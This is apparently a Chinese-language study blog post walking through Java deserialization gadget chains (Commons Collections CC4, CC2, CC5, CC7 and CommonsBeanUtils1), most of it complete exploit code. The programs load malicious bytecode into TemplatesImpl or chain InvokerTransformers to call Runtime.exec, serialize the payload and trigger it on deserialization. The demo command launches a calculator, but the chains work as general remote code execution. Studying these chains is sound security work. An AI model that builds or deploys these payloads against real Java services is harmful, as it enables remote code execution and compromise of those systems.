import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// 构造 InstantiateTransformer.transform 的 EXPpublic class TransformOriEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

instantiateTransformer.transform(TrAXFilter.class);
}
}

按照前面的逻辑,把instantiateTransformer.transform(TrAXFilter.class); 换个方法执行:

compare方法去调这个transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class ComparatorEXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

简单说就是下面这个东西和反序列化配合就能调用instantiateTransformer.transform(TrAXFilter.class);

1
2
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

为啥呢?注意这段构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}

/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to <code>compare</code>
* @param decorated the decorated Comparator
*/
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
//在Java中,通过使用 this() 关键字可以在一个构造函数中调用同一个类的另一个构造函数
//说白了这里就是给transformer赋值成chainedTransformer,然后去调它的transform方法

但这里序列化后反序列化是不会弹计算器的,问题出在:

参考文章

简单讲就是这个优先队列的长度得是2,才能进SitDown方法里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// TransformingComparator.compare 的 EXPpublic class ComparatorEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但改完会发现还是不行,问题出在:

CompareError

简单说就是虽然通过add确保了优先队列长度为2,但是引发了新的问题:add直接触发完了这条链子。但之前那条CC3链子中有这么个东西:

1
2
3
4
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();

_tfactory这东西被transient修饰不能给他赋值,不过好在readObject的时候给他复制了所以让他不为null。这里直接越过了readObject,所以为null直接报错。

如果把EXP改成这样可以直接弹计算器(但这显然不是我们需要的,因为还没反序列化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC4EXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(chainedTransformer)));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

解决方法和前面一样,先把这条链子改成错的,让他add的时候别触发这条链子。add完了再通过反射改回去就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 public class CC4EXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //这里本应是chainedTransformer,但改成了1
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
//改完了再通过反射改回去
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC2

CC2 这条链实际上是在 CC4 链基础上的修改,目的是避免使用 Transformer 数组。这里和CC4+CB1链子有点像,我是懒狗就直接放EXP了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Anything");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Clac.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC5

入口类是 BadAttributeValueExpExceptionreadObject() 方法:

CC51

TiedMapEntry 这个类存在 toString() 方法:

CC52

一直很好奇这种链子是怎么找出来的。。拿toString()这种方法来说,用法可能有成百上千个,能在这么多用法中找出能用的也太吊了

调用了getKey()getValue()方法,getValue()方法调用了get()方法:

CC53

map.get(),这就回到了CC1Lazymap那条链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// LazyMap 后半段的 EXPpublic class LazyMapGetEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, "everything!");
}
}

这里用反射直接调用了get方法弹出计算器。接下来利用TiedMapEntry 类调用 toString()进而调用get方法:

CC5

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// TiedMapEntry 的 EXP 编写
public class TiedMapEntryEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
//上面都一样,就是换了个方法触发get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();
}
}

前面说了入口是 BadAttributeValueExpExceptionreadObject()new一个之后 给val赋值为TiedMapEntry的实例就行,然后序列化,反序列化时就能触发了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package entity;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// TiedMapEntry 的 EXP 编写
public class TiedMapEntryEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
//上面都一样,就是换了个方法触发get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

调用顺序:

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

CC7

主要参考了这两位师傅的文章:

1

2

后半条链子与CC1相同,前半部分入口类为:Hashtable,它的readObject方法调用了一个reconstitutionPut方法:

HashtableReadObject

跟进这个reconstitutionPut:

CC701

这里有两个可用的方法:equals()hashCode()。(这里有个需要注意的点是:不管是reconstitutionPut方法还是equals方法,都得先进for循环才行)。hashCode的话就是CC6那条,先看equals

AbstractMap 类中的 equals() 方法中发现其调用了 get() 方法:

AbstractMap

这里equals接受一个object o ,然后把这个o传给m,即reconstitutionPut中的key

其实就是通过AbstractMap#equals来调用LazyMap#get。现在试着分析一下这个’’新的’’CC1前半部分:

reconstitutionPut:

HashTable

这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里的e就是个索引。传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的(逻辑就是equals接受的参数是Object o,然后Map<?,?> m = (Map<?,?>) o;)。最后要注意这两个keye.key.equals(key),前面那个e.key 是该条目的键,而 key 是作为参数传递给 reconstitutionPut 方法的键。所以我们在序列化时可以利用puthashtable放一个key=恶意类:

1
2
Hashtable hashtable = new Hashtable();  
hashtable.put(decorateMap, "Drunkbaby");

然后序列化后用反序列化触发他,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

// AbstractMap 的 EXPpublic class AbstractMapEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, "Drunkbaby");

//serialize(hashtable);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但这时运行并不会弹计算器,断点打在AbstractMap.equals()然后调试一下,可以发现并没有进到equals里面,官方链子写法如下:

yso

可以看到它利用decorate搞出了两个lazymap(EXP中写的那个decorateMap),然后他给这个map里分别放了键yyzZ,值都是1。然后把这两个恶意类都放进hashtable里后改了下transformerChainiTransfomers的值(也就是EXP中写的那个chainedTransformer)。

这里直接把正确的EXP放上来,对照着分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

在分析前说下之前的问题:即不管是reconstitutionPut方法还是equals方法,都得先进for循环才行:这里主要看hashtable下的reconstitutionPut中的for循环怎么满足:

1
2
3
4
5
6
7
8
9
10
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

添加第一个元素时并不会进入if语句调用equals方法进行判断(e = e.next然后第一个if的内容是e.hash == hash,要是只有一个的话连e.next都没有),因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

然后注意这个equals方法:最终利用e.key.equals()调用了LazyMapequals方法(往hashtableput了lazymap的实例),但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

第一部分:

1
2
3
4
5
6
7
8
Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

可以看到这里弄了两个Transformer数组,一个fakeTransformers和一个transformers。这里的用法和我们之前随便改个值那种方法的目标是一样的:

put时同样会触发equals方法:

putwhat

先用这个fakeput完了通过反射改回来就行。

第二部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;

new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等;

20211031133342-1bd17e2e-3a0c-1

然后将这两个LazyMap类对象put进Hashtable类对象;

第三部分:

1
2
3
4
5
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");//删除键为yy的键值对

回顾下这个iTransformers是什么:

iTransformers

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers

为什么要删除lazymap2中的yy键值对?这个键值对是从哪里来的?

Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。

唉,我是懒狗,具体可以看这位师傅的分析:

yy=yy

如果不把这个yy删掉,反序列化走到AbstractMapequals时:

equal

可以看到当两个size不相等就直接返回False了。

CommonsBeanUtils1

参考文章

首先Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//Baby.java
public class Baby {
private String name = "Drunkbaby";

public String getName(){
return name;
}

public void setName (String name) {
this.name = name;
}
}
//CBMethods.java
import org.apache.commons.beanutils.PropertyUtils;

public class CBMethods {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
}
}
//结果:Drunkbaby

利用点就是可以用这个静态方法去调静态类加载那章中的getOutputProperties(),可以执行命令。

(动态类加载那里就不细说了,就是CC3那些)

BeanComparator.compare() 方法:

compare

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

所以如果需要传值比较,肯定是需要新建一个 PriorityQueue 的队列,并让其有 2 个值进行比较。而且 PriorityQueue 的构造函数当中就包含了一个比较器。

PriorityConstructor

最后使用 queue.add 就可以自动完成比较是因为 add 方法调用了 compare 方法,如图

Route

所以初步EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonBeans1EXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
final BeanComparator beanComparator = new BeanComparator();
// 将 property 的值赋为 outputProperties
setFieldValue(beanComparator, "property", "outputProperties");
// 创建新的队列,并添加恶意字节码
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(templates); //add最终调用comparator.compare,这里的comparator被赋值为beanComparator。
queue.add(templates);
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

可以看到new了两个实例:beanComparatorPriorityQueue,这里先看下它俩的构造函数:

1
2
3
4
5
6
 final BeanComparator beanComparator = new BeanComparator();  
//BeanComparator的构造方法
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
}

这里就是new了一个BeanComparator,等下要利用这个类中的方法去调用(get)Property方法,如图:

FindCompare

1
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); 

new了一个PriorityQueue实例,看下它的构造函数:

priorityquee

所以这个队列里容纳的初始元素为2,然后comparatorbeanComparator,然后PriorityQueue 这个类的 siftDownUsingComparator() 方法会调用 compare():

siftDownUsingComparator

最终就成了BeanComparator.compare()

简单梳理一下:

queue.add(templates); add最终调用comparator.compare,这里的comparator被赋值为beanComparator,即beanComparator.compare

然后这个compare方法回去调PropertyUtils.getProperty(o1, propeery)。这里property的值为outputPropertieso1需要是TemplatesImpl的实例即上面那个templates

queue.add(templates); 这里的templates就相当于要被比较的o1,o2了。

走到compare就相当于这个:

1
PropertyUtils.getProperty(templates,"outputProperties")

